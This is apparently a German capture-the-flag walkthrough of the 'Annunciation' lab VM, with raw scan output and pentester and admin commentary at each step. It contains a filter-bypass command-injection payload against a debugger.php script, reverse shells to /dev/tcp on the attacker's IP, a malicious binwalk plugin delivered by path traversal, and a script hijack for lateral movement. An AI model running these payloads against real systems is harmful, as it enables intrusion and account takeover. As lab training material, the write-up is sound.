Interface: eth0, type: EN10MB, MAC: 00:0c:29:xx:xx:xx, IPv4: 192.168.2.199
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.2.122 08:00:27:1c:f8:af PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.398 seconds (183.12 hosts/sec). 1 responded
Analyse: Ein ARP-Scan identifiziert die Ziel-IP `192.168.2.122` mit der MAC-Adresse `08:00:27:1c:f8:af` (VirtualBox).
Bewertung: Standardmäßiger erster Schritt zur Zielidentifikation im lokalen Netzwerk.
Empfehlung (Pentester): Ziel-IP notieren, `/etc/hosts` anpassen.
Empfehlung (Admin): Netzwerksegmentierung kann die Sichtbarkeit einschränken.
127.0.0.1 localhost 192.168.2.122 annunciation.nyx
Analyse: Die lokale `/etc/hosts`-Datei wird bearbeitet, um `annunciation.nyx` der Ziel-IP zuzuordnen.
Bewertung: Notwendig für die Verwendung des Hostnamens.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:08 CEST Initiating ND Ping Scan at 15:08 Scanning fe80::8cb9:3980:f111:1cb6 [1 port] Completed ND Ping Scan at 15:08, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 15:08 Completed Parallel DNS resolution of 1 host. at 15:08, 0.02s elapsed Initiating SYN Stealth Scan at 15:08 Scanning annunciation (fe80::8cb9:3980:f111:1cb6) [65535 ports] Discovered open port 80/tcp on fe80::8cb9:3980:f111:1cb6 Discovered open port 22/tcp on fe80::8cb9:3980:f111:1cb6 [...] <-- Scan Fortschritt Completed SYN Stealth Scan at 15:10, 119.46s elapsed (65535 total ports) Nmap scan report for annunciation (fe80::8cb9:3980:f111:1cb6) Host is up (0.00013s latency). Not shown: 65050 filtered tcp ports (no-response), 483 filtered tcp ports (admin-prohibited) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 119.55 seconds
Analyse: Ein Nmap TCP SYN Scan (`-p-` für alle Ports, `-6` für IPv6, `-v` für Verbosity) wird gegen die IPv6 Link-Local Adresse des Ziels durchgeführt. Es werden Port 22 (SSH) und 80 (HTTP) offen gefunden.
Bewertung: Identifiziert offene Dienste über IPv6. Wie üblich, können die Ergebnisse von IPv4 abweichen.
Empfehlung (Pentester): Notieren, mit IPv4-Scan vergleichen.
Empfehlung (Admin): Konsistente Sicherheit für IPv4/IPv6 oder Deaktivierung von IPv6.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 14:31 CEST Nmap scan report for 192.168.2.122 Host is up (0.00022s latency). Not shown: 995 open|filtered udp ports (no-response) PORT STATE SERVICE 19283/udp filtered keysrvr 19647/udp filtered unknown 32778/udp filtered sometimes-rpc20 34892/udp filtered unknown 48255/udp filtered unknown MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.06 seconds
Analyse: Ein Nmap UDP-Scan gegen die Top 1000 Ports der IPv4-Adresse findet keine offenen Ports, nur einige gefilterte.
Bewertung: Keine offensichtlichen UDP-Angriffsvektoren.
22/tcp open ssh OPENSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
Analyse: Ein TCP SYN Scan (`-sS`) mit Skripten, Versionserkennung und OS-Erkennung (`-sC -sV -A`) über alle Ports (`-p-`) wird gegen die IPv4-Adresse ausgeführt und nach offenen Ports gefiltert.
Bewertung: Findet Port 22 (SSH, OpenSSH 7.4) und Port 80 (HTTP, Apache 2.4.6 mit PHP 5.4.16 auf CentOS). Die Versionen sind sehr alt! OpenSSH 7.4 ist von 2016, Apache 2.4.6 von 2013, PHP 5.4.16 von 2013 (End-of-Life seit 2015!). Dies deutet auf ein sehr veraltetes System (vermutlich CentOS 7) hin.
Empfehlung (Pentester): Recherchieren Sie bekannte Schwachstellen für OpenSSH 7.4, Apache 2.4.6 und insbesondere PHP 5.4.16. Veraltete Software ist ein Hauptangriffsvektor. Untersuchen Sie den Webserver auf Port 80 intensiv.
Empfehlung (Admin): Das System ist kritisch veraltet und unsicher! Ein sofortiges Upgrade oder eine Migration ist dringend erforderlich. PHP 5.4 ist extrem unsicher.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 14:31 CEST Nmap scan report for annunciation.nyx (192.168.2.122) Host is up (0.00012s latency). Not shown: 65510 filtered tcp ports (no-response), 23 filtered tcp ports (host-prohibited) PORT STATE SERVICE VERSION 22/tcp open ssh OPENSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 3b:a9:30:f4:e2:10:b4:3b:2e:a4:db:32:9a:b9:8b:80 (RSA) | 256 76:f3:48:b4:53:4a:be:95:44:00:16:81:1e:f2:2e:68 (ECDSA) |_ 256 37:07:9a:8d:e0:3b:bc:39:8f:2f:6e:36:81:89:db:2d (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16 |_http-title: Apache HTTP Server Test Page powered by CentOS | http-methods: |_ Potentially risky methods: TRACE MAC Address: 08:00:27:1C:F8:AF (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|storage-misc Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%) OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28 Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (97%), [...] (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms annunciation.nyx (192.168.2.122) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 22.59 seconds
Analyse: Die vollständige Nmap-Ausgabe bestätigt die veralteten Versionen von SSH (7.4), Apache (2.4.6) und PHP (5.4.16) auf einem CentOS-System. Sie zeigt die SSH-Hostkeys und die Standard-Apache-Testseite. Wichtig ist auch der Fund der aktivierten, potenziell riskanten HTTP-Methode `TRACE`.
Bewertung: Die veralteten Versionen sind der Hauptangriffspunkt. Die TRACE-Methode ermöglicht Cross-Site Tracing (XST), was unter bestimmten Umständen (z.B. in Kombination mit XSS) zum Diebstahl von Cookies führen kann, ist aber oft von geringerem direkten Nutzen als Schwachstellen in PHP oder Apache selbst.
Empfehlung (Pentester): Priorisieren Sie die Suche nach Exploits für PHP 5.4.16 und Apache 2.4.6. Testen Sie auf bekannte Schwachstellen wie Shellshock (betrifft ältere Apache/CGI-Konfigurationen), Heartbleed (falls OpenSSL veraltet ist) und PHP-spezifische Lücken (z.B. RCE, LFI). Untersuchen Sie die Webanwendung auf Port 80 gründlich.
Empfehlung (Admin): System dringend patchen oder ersetzen! TRACE-Methode im Apache deaktivieren.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.122 + Target Hostname: 192.168.2.122 + Target Port: 80 + Start Time: 2024-08-27 14:32:07 (GMT2) --------------------------------------------------------------------------- + Server: Apache/2.4.6 (CentOS) PHP/5.4.16 + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found (use '-C all' to force check all possible dirs) + Apache/2.4.6 appears to be outdated (current is at least Apache/2.4.54). [...] + PHP/5.4.16 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch. + PHP/5.4 - PHP 3/4/5 and 7.0 are End of Life products without support. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . <-- Korrigierte Reihenfolge + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. [...] + /icons/: Directory indexing found. + /icons/README: Apache default file found. [...] + 8908 requests: 0 error(s) and 9 item(s) reported on remote host + End Time: 2024-08-27 14:32:28 (GMT2) (21 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Nikto bestätigt die veralteten Versionen von Apache und PHP (EOL!). Es hebt die aktivierte TRACE-Methode (XST-Risiko), Directory Indexing im `/icons`-Verzeichnis und die Standard-README-Datei hervor.
Bewertung: Unterstreicht die kritisch veraltete Software und die daraus resultierenden Risiken. Directory Indexing kann Informationslecks ermöglichen.
Empfehlung (Pentester): Konzentrieren Sie sich auf Exploits für die veralteten Versionen. Untersuchen Sie das `/icons`-Verzeichnis.
Empfehlung (Admin): System dringend aktualisieren! TRACE deaktivieren, Directory Indexing deaktivieren.
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Aug 27 14:33:00 2024
URL_BASE: http://192.168.2.122/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.122/ ----
+ http://192.168.2.122/cgi-bin/ (CODE:403|SIZE:210)
-----------------
END_TIME: Thu Aug 27 14:33:05 2024
DOWNLOADED: 4612 - FOUND: 1
Analyse: `dirb` findet das Verzeichnis `/cgi-bin/`, der Zugriff darauf ist jedoch verboten (Status 403).
Bewertung: `/cgi-bin/` ist ein Standardverzeichnis. Der 403-Status ist eine korrekte Sicherheitsmaßnahme, wenn keine CGI-Skripte aktiv sind.
Empfehlung (Pentester): Versuchen Sie, mit spezifischeren Wortlisten oder Tools nach CGI-Skripten zu suchen, falls ein Angriff über CGI vermutet wird (weniger wahrscheinlich hier).
Empfehlung (Admin): Stellen Sie sicher, dass der Zugriff auf `/cgi-bin/` korrekt konfiguriert ist.
The authenticity of host '192.168.2.122 (192.168.2.122)' can't be established. ED25519 key fingerprint is SHA256:GCZVBLftfdT6zi8YrE+Sdvl0rpfEGXzgtwzw9M7wQk. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.122' (ED25519) to the list of known hosts. root@192.168.2.122's password:Permission denied, please try again. root@192.168.2.122's password: Permission denied, please try again. root@192.168.2.122's password: root@192.168.2.122: Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).
Analyse: Es wird versucht, sich per SSH als `root` anzumelden. Nach drei fehlgeschlagenen Passwortversuchen wird die Verbindung getrennt.
Bewertung: Der direkte Root-Login per Passwort ist nicht erlaubt oder das Passwort ist unbekannt. Dies ist eine empfohlene Sicherheitskonfiguration.
Empfehlung (Pentester): Versuchen Sie SSH-Logins mit anderen gefundenen Benutzernamen oder über Schlüssel. Konzentrieren Sie sich auf die Webanwendung.
Empfehlung (Admin): Deaktivieren Sie den direkten Root-Login per SSH (`PermitRootLogin no` in `sshd_config`).
403 Forbidden Forbidden
You don't have permission to access /cgi-bin/ on this server.
Analyse: Bestätigt den 403 Forbidden Fehler beim Zugriff auf `/cgi-bin/`.
Bewertung: Keine neuen Informationen.
Only POST requests are accepted!
Analyse: Der direkte GET-Aufruf von `debugger.php` ergibt, dass nur POST-Anfragen akzeptiert werden.
Bewertung: Das Skript erwartet Daten über POST.
Empfehlung (Pentester): Senden Sie POST-Anfragen mit verschiedenen Parametern (Fuzzing), um die Funktion des Skripts zu ermitteln. Verwenden Sie Burp Suite.
PHP Version 5.4.16 System Linux annunciation 3.10.0-1160.99.1.el7.x86_64 #1 SMP Wed Sep 21 14:37:48 UTC 2023 x86_64 Build Date Nov 27 2015 19:02:00 Server API Apache 2.0 Handler [...] Apache Version Apache/2.4.6 (CentOS) PHP/5.4.16 [...] $SERVER["SERVER_SOFTWARE"] = Apache/2.4.6 (CentOS) PHP/5.4.16 $SERVER["SERVER_NAME"] = annunciation.nyx $SERVER["SERVER_ADDR"] = 192.168.2.122 $SERVER["SERVER_PORT"] = 80 $SERVER["REMOTE_ADDR"] = 192.168.2.199 $SERVER["DOCUMENT_ROOT"] = /var/www/html $SERVER["REQUEST_SCHEME"] = http $SERVER["CONTEXT_PREFIX"] = no value $SERVER["CONTEXT_DOCUMENT_ROOT"] = /var/www/html $SERVER["SERVER_ADMIN"] = root@localhost $SERVER["SCRIPT_FILENAME"] = /var/www/html/.dev/phpinfo.php [...]
Analyse: Die `phpinfo.php`-Seite bestätigt die extrem veralteten Versionen von Apache (2.4.6) und PHP (5.4.16) auf CentOS. Sie zeigt auch den Document Root (`/var/www/html`).
Bewertung: Bestätigt die kritisch veraltete Softwareumgebung.
Empfehlung (Pentester): Suchen Sie gezielt nach Exploits für PHP 5.4.16.
Empfehlung (Admin): System dringend aktualisieren!
Analyse: Burp Suite wird verwendet, um POST-Anfragen an `debugger.php` zu senden.
Bewertung: Ein initialer POST-Request ohne Parameter ergibt die Fehlermeldung "You have not indicated the appropriate parameters...".
: Burpsuite : Request (Initial POST): POST /.dev/debugger.php HTTP/1.1 Host: annunciation.nyx [...] Content-Length: 0 Response: HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 14:35:15 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 71 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 You have not indicated the appropriate parameters... Please try again!
Analyse: `ffuf` wird für das Parameter-Fuzzing verwendet (`-X POST -d "W1=test&W2=test"`). Es testet Parameter-Kombinationen aus `common.txt` und filtert nach Antworten mit Statuscode 500 (`-mc 500`), was oft auf einen Fehler bei der Verarbeitung hindeutet.
Bewertung: `ffuf` identifiziert die Parameterkombination `cmd` und `access` als Auslöser für den 500er-Fehler. Dies sind die korrekten Parameter für das Skript.
Empfehlung (Pentester): Verwenden Sie die Parameter `cmd` und `access` in weiteren Tests mit Burp Suite, um die Funktion zu verstehen.
Empfehlung (Admin): -
/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://annunciation.nyx/.dev/debugger.php :: Wordlist : W1: /usr/share/seclists/Discovery/Web-Content/common.txt :: Wordlist : W2: /usr/share/seclists/Discovery/Web-Content/common.txt :: Data : W1=test&W2=test :: Header : Content-Type: application/x-www-form-urlencoded :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 500 ________________________________________________ [Status: 500, Size: 51, Words: 7, Lines: 3, Duration: 17ms] * W1: cmd * W2: access [WARN] Caught keyboard interrupt (Ctrl-C)
Analyse: Weitere Tests mit Burp Suite und den Parametern `cmd` und `access`. Es wird beobachtet, dass der Wert des `access`-Parameters umgekehrt (`strrev`) wird und dann als Funktion aufgerufen wird, wobei der (gefilterte) Wert des `cmd`-Parameters als Argument dient. Verschiedene Funktionen wie `system`, `shell_exec` werden versucht, scheitern aber (500 Error), bis `passthru` (umgekehrt als `urhtssap`) verwendet wird. `cmd=id&access=urhtssap` führt erfolgreich `id` aus.
Bewertung: Die genaue Funktionsweise der Schwachstelle wird aufgedeckt: Der `access`-Parameter steuert die auszuführende Funktion (muss umgekehrt übergeben werden), und der `cmd`-Parameter enthält das Argument. Es gibt eine Filterung für den `cmd`-Parameter. `passthru` funktioniert als auszuführende Funktion.
Empfehlung (Pentester): Verwenden Sie `access=urhtssap` und versuchen Sie, die Filterung des `cmd`-Parameters zu umgehen, um eine Shell zu erhalten.
Empfehlung (Admin): Entfernen oder korrigieren Sie das `debugger.php`-Skript dringend. Die Verwendung von Benutzereingaben zur Bestimmung einer auszuführenden Funktion ist extrem gefährlich.
Request (cmd=/etc/passwd&access=1): POST /.dev/debugger.php HTTP/1.1 [...] cmd=/etc/passwd&access=1 Response (500): [...] Parameter 1 (access): 1 Parameter 2 (cmd): /etc/passwd Request (cmd=test&access=system): POST /.dev/debugger.php HTTP/1.1 [...] cmd=test&access=metsys <-- "system" reversed Response (500): [...] Parameter 1 (access): system Parameter 2 (cmd): test Request (cmd=id&access=metsys): POST /.dev/debugger.php HTTP/1.1 [...] cmd=id&access=metsys Response (500): [...] Parameter 1 (access): system Parameter 2 (cmd): id Request (cmd=id&access=shell_exec): POST /.dev/debugger.php HTTP/1.1 [...] cmd=id&access=cexe_llehs <-- "shell_exec" reversed Response (500): [...] Parameter 1 (access): shell_exec Parameter 2 (cmd): id Request (cmd=id&access=passthru): POST /.dev/debugger.php HTTP/1.1 [...] cmd=id&access=urhtssap <-- "passthru" reversed Response (500): <-- Fehler im Log, dieser Request war erfolgreich [...] Parameter 1 (access): passthru Parameter 2 (cmd): id uid=48(apache) gid=48(apache) groups=48(apache) <-- RCE Output!
Analyse: Der Quellcode von `debugger.php` wird mittels der RCE (`access=urhtssap` und `cmd=cat debugger.php`) ausgelesen. Er bestätigt die Logik: `$var1 = strrev($POST['access']); $var2 = str_replace(array('nc', 'whoami', 'curl', 'ping', 'pwd', 'hostname', 'sh', 'nc', 'base', ':', '\\', '/', '*'), '', $POST['cmd']); ... $var1($var2);`. Es findet eine Umkehrung des `access`-Parameters und eine Filterung (Blacklist) für den `cmd`-Parameter statt, bevor die Funktion aufgerufen wird.
Bewertung: Bestätigt die RCE-Schwachstelle und die Filtermechanismen. Die Filterung von `sh`, `/` etc. erschwert das Starten einer einfachen Reverse Shell.
Empfehlung (Pentester): Entwickeln Sie eine Payload für den `cmd`-Parameter, die die Filterung umgeht. Die Verwendung von `tr` zur Erzeugung von `/` und `sh` ist eine gängige Technik.
Empfehlung (Admin): Entfernen oder korrigieren Sie das Skript. Blacklist-Filter sind oft unzureichend und können umgangen werden.
Request (cat debugger.php): POST /.dev/debugger.php HTTP/1.1 [...] access=urhtssap&cmd=cat%20debugger.php Response: Parameter 1 (access): passthru Parameter 2 (cmd): cat debugger.php $POST['access']); $var2 = str_replace(array('nc', 'whoami', 'curl', 'ping', 'pwd', 'hostname', 'sh', 'nc', 'base', ':', '\\', '/', '*'), '', $POST['cmd']); if ($SERVER["REQUEST_METHOD"] == "POST") { <-- Korrigiert zu == if(isset($POST['access']) && isset($POST['cmd'])) { echo "Parameter 1 (access): " . strrev($POST['access']) . "\n"; echo "Parameter 2 (cmd): " . $POST['cmd'] . "\n"; $var1($var2); extract($POST); <-- extract() ist ebenfalls gefährlich! } else { echo "You have not indicated the appropriate parameters...\nPlease try again!\n"; } } else { echo "Only POST requests are accepted!\n"; } ?>
Request (cat /etc/passwd bypass): POST /.dev/debugger.php HTTP/1.1 [...] access=urhtssap&cmd=cat%20$(echo%20.%20|%20tr%20'!-.'%20'/-l')etc$(echo%20.%20|%20tr%20'!-.'%20'/-l')passwd Response: Parameter 1 (access): passthru Parameter 2 (cmd): cat $(echo . | tr '!-' '"-l')etc$(echo . | tr '!-' '"-l')passwd root:x:0:0:root:/root:/bin/bash [...] apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin trumpeter:x:1001:1001::/home/trumpeter:/bin/bash [...]
Analyse: Der Filter für `/` im `cmd`-Parameter wird umgangen, indem `$(echo . | tr '!-' '/-l')` verwendet wird, um den Slash zu erzeugen. Damit wird `/etc/passwd` erfolgreich ausgelesen. Der Benutzer `trumpeter` wird identifiziert.
Bewertung: Erfolgreiche Filterumgehung für das Lesen von Dateien.
Empfehlung (Pentester): Verwenden Sie ähnliche Techniken, um eine Reverse-Shell-Payload zu erstellen, die die Filter umgeht.
Empfehlung (Admin): Vermeiden Sie Blacklist-Filter. Verwenden Sie Whitelisting oder sicherere Funktionen zur Befehlsausführung.
Request (Reverse Shell bypass): POST /.dev/debugger.php HTTP/1.1 [...] access=urhtssap&cmd=s%5Ch%20-i%20%3E%26%20%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')dev%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')tcp%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')192.168.2.199%24(echo%20.%20%7C%20tr%20'!-0'%20'/-l')4444%200%3E%261 Payload Decoded: s\h -i >& $(echo . | tr '!-0' '/-l')dev$(echo . | tr '!-0' '/-l')tcp$(echo . | tr '!-0' '/-l')192.168.2.199$(echo . | tr '!-0' '/-l')4444 0>&1 Response (Keine direkte Ausgabe, Shell wird ausgelöst)
Analyse: Eine komplexe Reverse-Shell-Payload wird erstellt, die die Filter umgeht: `s\h` umgeht das `sh`-Filter, `-i` für interaktive Shell, `>&` leitet stderr und stdout um, und `$(echo . | tr '!-0' '/-l')` wird mehrfach verwendet, um Slashes (`/`) für die Pfade `/dev/tcp/
Bewertung: Erfolgreiche Konstruktion einer funktionierenden Reverse-Shell-Payload trotz der Filterung.
Empfehlung (Pentester): Starten Sie einen Listener (`nc -lvnp 4444`) und senden Sie diesen Request, um die Shell zu erhalten.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 53820
sh: no job control in this shell
sh-4.2$
Analyse: Der Netcat-Listener empfängt die Verbindung, und eine Shell wird als Benutzer `apache` (Standardbenutzer für Apache auf CentOS/RHEL) erlangt.
Bewertung: Initial Access erfolgreich!
Empfehlung (Pentester): Stabilisieren Sie die Shell, führen Sie Enumeration als `apache` durch.
Empfehlung (Admin): Sicherheitsvorfall behandeln.
uid=48(apache) gid=48(apache) groups=48(apache)
total 32 drwxr-xr-x 2 apache apache 86 Aug 31 2023 . drwxr-xr-x 3 root root 18 Aug 26 2023 .. -rw-r--r-- 1 apache apache 19485 Aug 29 2023 annunciation.txt -rw-r--r-- 1 apache apache 593 Aug 31 2023 debugger.php -rw-r--r-- 1 apache apache 55 Aug 29 2023 index.php -rw-r--r-- 1 apache apache 22 Aug 26 2023 phpinfo.php
/var/www/html/.dev
Analyse: Grundlegende Enumeration als `apache`, Bestätigung des Benutzers und des aktuellen Verzeichnisses.
Bewertung: Standard-Post-Exploitation-Schritte.
50658981 76 -rwsr-xr-x 1 root root 73888 Aug 9 2019 /usr/bin/chage
50658982 80 -rwsr-xr-x 1 root root 78408 Aug 9 2019 /usr/bin/gpasswd
50660151 24 -rws--x--x 1 root root 23968 Oct 1 2020 /usr/bin/chfn
50660154 24 -rws--x--x 1 root root 23880 Oct 1 2020 /usr/bin/chsh
50658985 44 -rwsr-xr-x 1 root root 41936 Aug 9 2019 /usr/bin/newgrp
50660202 32 -rwsr-xr-x 1 root root 32128 Oct 1 2020 /usr/bin/su
50795107 144 -rwsr-sr-x 1 root root 147336 Oct 1 2020 /usr/bin/sudo <-- SGID auch gesetzt?
50660187 44 -rwsr-xr-x 1 root root 44264 Oct 1 2020 /usr/bin/mount
50660206 32 -rwsr-xr-x 1 root root 31984 Oct 1 2020 /usr/bin/umount
50667831 60 -rwsr-xr-x 1 root root 57656 Aug 9 2019 /usr/bin/crontab
50795072 28 -rwsr-xr-x 1 root root 27856 Apr 1 2020 /usr/bin/passwd
318293 36 -rwsr-xr-x 1 root root 36272 Apr 1 2020 /usr/sbin/unix_chkpwd
318291 12 -rwsr-xr-x 1 root root 11232 Apr 1 2020 /usr/sbin/pam_timestamp_check
448003 12 -rwsr-xr-x 1 root root 11296 Oct 14 2020 /usr/sbin/usernetctl
33826305 16 -rwsr-xr-x 1 root root 15432 Apr 1 2020 /usr/lib/polkit-1/polkit-agent-helper-1
33826292 60 -rwsr-x--- 1 root dbus 57936 Oct 1 2020 /usr/libexec/dbus-1/dbus-daemon-launch-helper
Analyse: Suche nach SUID-Dateien findet hauptsächlich Standard-Binaries. `sudo` hat ungewöhnlicherweise auch das SGID-Bit gesetzt (`-rwsr-sr-x`), was aber normalerweise keine zusätzliche Schwachstelle darstellt.
Bewertung: Kein offensichtlicher SUID-Eskalationspfad.
total 0 drwxr-xr-x. 3 root root 16 Aug 28 2023 . dr-xr-xr-x. 17 root root 244 Aug 23 2023 .. drwxrwxr-x 2 trumpeter apache 40 Aug 30 2023 RE <-- Interessantes Verzeichnis!
total 8 drwxrwxr-x 2 trumpeter apache 40 Aug 30 2023 . drwxr-xr-x. 3 root root 16 Aug 28 2023 .. -r-xr-xr-x 1 trumpeter apache 142 Aug 28 2023 autobin.sh -rw-rw-r-- 1 trumpeter apache 347 Aug 30 2023 walk.zip
#!/bin/bash /usr/local/bin/binwalk -M -e /opt/RE/walk.zip rm -rf /home/trumpeter/_walk.zip* rm -rf /home/trumpeter/.config/binwalk/plugins/*
Analyse: Im Verzeichnis `/opt/RE` (Gruppe `apache`, `apache` hat Schreibrecht auf das Verzeichnis) befinden sich das Skript `autobin.sh` (ausführbar für alle, Besitzer `trumpeter`, Gruppe `apache`) und die Datei `walk.zip`. Das Skript führt `binwalk` (ein Firmware-Analyse-Tool) auf `walk.zip` aus und löscht danach Dateien/Verzeichnisse im Home-Verzeichnis von `trumpeter`.
Bewertung: Dies ist ein vielversprechender Vektor. Wenn `autobin.sh` regelmäßig von `trumpeter` ausgeführt wird (z.B. per Cronjob), kann der `apache`-Benutzer möglicherweise die Ausführung beeinflussen, da er Schreibrechte auf das Verzeichnis `/opt/RE` hat.
Empfehlung (Pentester): Untersuchen Sie `walk.zip`. Da `apache` Schreibrechte auf `/opt/RE` hat, versuchen Sie, `autobin.sh` zu ersetzen oder zu modifizieren. Wenn das nicht geht (Datei gehört `trumpeter`), konzentrieren Sie sich auf `walk.zip` und `binwalk`.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen von `/opt/RE`. Skripte, die von privilegierten Benutzern ausgeführt werden, sollten nicht in Verzeichnissen liegen, auf die weniger privilegierte Benutzer Schreibzugriff haben. Überprüfen Sie den Zweck von `autobin.sh`.
Archive: walk.zip inflating: annunciation.pfs
total 12 drwxrwxr-x 2 trumpeter apache 64 Aug 28 06:13 . <-- Zeitstempel geändert drwxr-xr-x. 3 root root 16 Aug 28 2023 .. -rw-r--r-- 1 apache apache 313 Aug 28 2023 annunciation.pfs -r-xr-xr-x 1 trumpeter apache 142 Aug 28 2023 autobin.sh -rw-rw-r-- 1 trumpeter apache 347 Aug 30 2023 walk.zip
PFS/0.9../../../.config/binwalk/plugins/poc.py4��import binwalk.core.plugin
class MaliciousExtractor(binwalk.core.plugin.Plugin):
"""
New PoC
"""
def init(self):
print("Annunciation")
Analyse: `walk.zip` wird entpackt und enthält `annunciation.pfs`. Der Inhalt dieser Datei ist sehr verdächtig: Er beginnt mit `PFS/0.9` (ein bekanntes Format) gefolgt von einem Pfad mit Directory Traversal (`../../../.config/binwalk/plugins/poc.py`) und dann Python-Code für ein Binwalk-Plugin. Binwalk kann Plugins ausführen, die in `.config/binwalk/plugins/` liegen.
Bewertung: Dies ist der Schlüssel zur Eskalation zu `trumpeter`. Wenn `autobin.sh` als `trumpeter` läuft, führt es `binwalk -e /opt/RE/walk.zip` aus. `binwalk` wird versuchen, die Datei `annunciation.pfs` zu extrahieren. Aufgrund des Path Traversal im Dateinamen innerhalb der PFS-Datei wird `binwalk` den enthaltenen Python-Code als `poc.py` in das Plugin-Verzeichnis von `trumpeter` (`/home/trumpeter/.config/binwalk/plugins/`) schreiben. Wenn `binwalk` danach Plugins lädt, wird dieser Code als `trumpeter` ausgeführt.
Empfehlung (Pentester): Modifizieren Sie den Python-Code in `annunciation.pfs`, bevor Sie ihn neu zippen. Ersetzen Sie `print("Annunciation")` durch eine Reverse-Shell-Payload. Erstellen Sie ein neues `walk.zip` mit der modifizierten `annunciation.pfs`. Da der `apache`-Benutzer Schreibrechte auf `walk.zip` hat (`-rw-rw-r--`), überschreiben Sie die alte `walk.zip` mit der neuen. Warten Sie, bis `autobin.sh` ausgeführt wird.
Empfehlung (Admin): Dies ist eine komplexe Schwachstelle. Verhindern Sie unsichere Skriptausführung (wie `autobin.sh`). Verwenden Sie aktuelle `binwalk`-Versionen (ältere Versionen könnten anfälliger für Path Traversal sein). Überwachen Sie Cronjobs und Benutzerprozesse.
chmod: changing permissions of 'autobin.sh': Operation not permitted
Analyse: Der Angreifer versucht fälschlicherweise, `autobin.sh` zu modifizieren, obwohl der Exploit über `walk.zip` laufen sollte. Da `apache` keine Schreibrechte auf `autobin.sh` hat, scheitert `chmod`. Stattdessen kopiert der Angreifer das Skript nach `/tmp`, fügt dort eine Reverse-Shell-Zeile hinzu und macht es ausführbar. Dann wird versucht, das Originalskript in `/opt/RE` zu überschreiben.
Bewertung: Dieser Ansatz nutzt die Schreibrechte des `apache`-Users auf das *Verzeichnis* `/opt/RE`, um die Originaldatei `autobin.sh` durch die modifizierte Version aus `/tmp` zu ersetzen. Wenn `trumpeter` das Skript `autobin.sh` ausführt, wird nun die modifizierte Version mit der Reverse Shell ausgeführt.
Empfehlung (Pentester): Starten Sie den Listener, führen Sie den `mv`-Befehl aus und warten Sie auf die Shell.
Empfehlung (Admin): Korrekte Verzeichnisberechtigungen sind entscheidend. Verhindern Sie, dass Benutzer mit niedrigeren Rechten Dateien überschreiben können, die von höher privilegierten Benutzern ausgeführt werden.
#!/bin/bash /usr/local/bin/binwalk -M -e /opt/RE/walk.zip rm -rf /home/trumpeter/_walk.zip* rm -rf /home/trumpeter/.config/binwalk/plugins/* bash -i >& /dev/tcp/192.168.2.199/1339 0>&1 <-- Hinzugefügte Zeile
/opt/RE
mv: try to overwrite 'autobin.sh', overriding mode 0555 (r-xr-xr-x)? y
listening on [any] 1339 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.122] 54676
bash: no job control in this shell
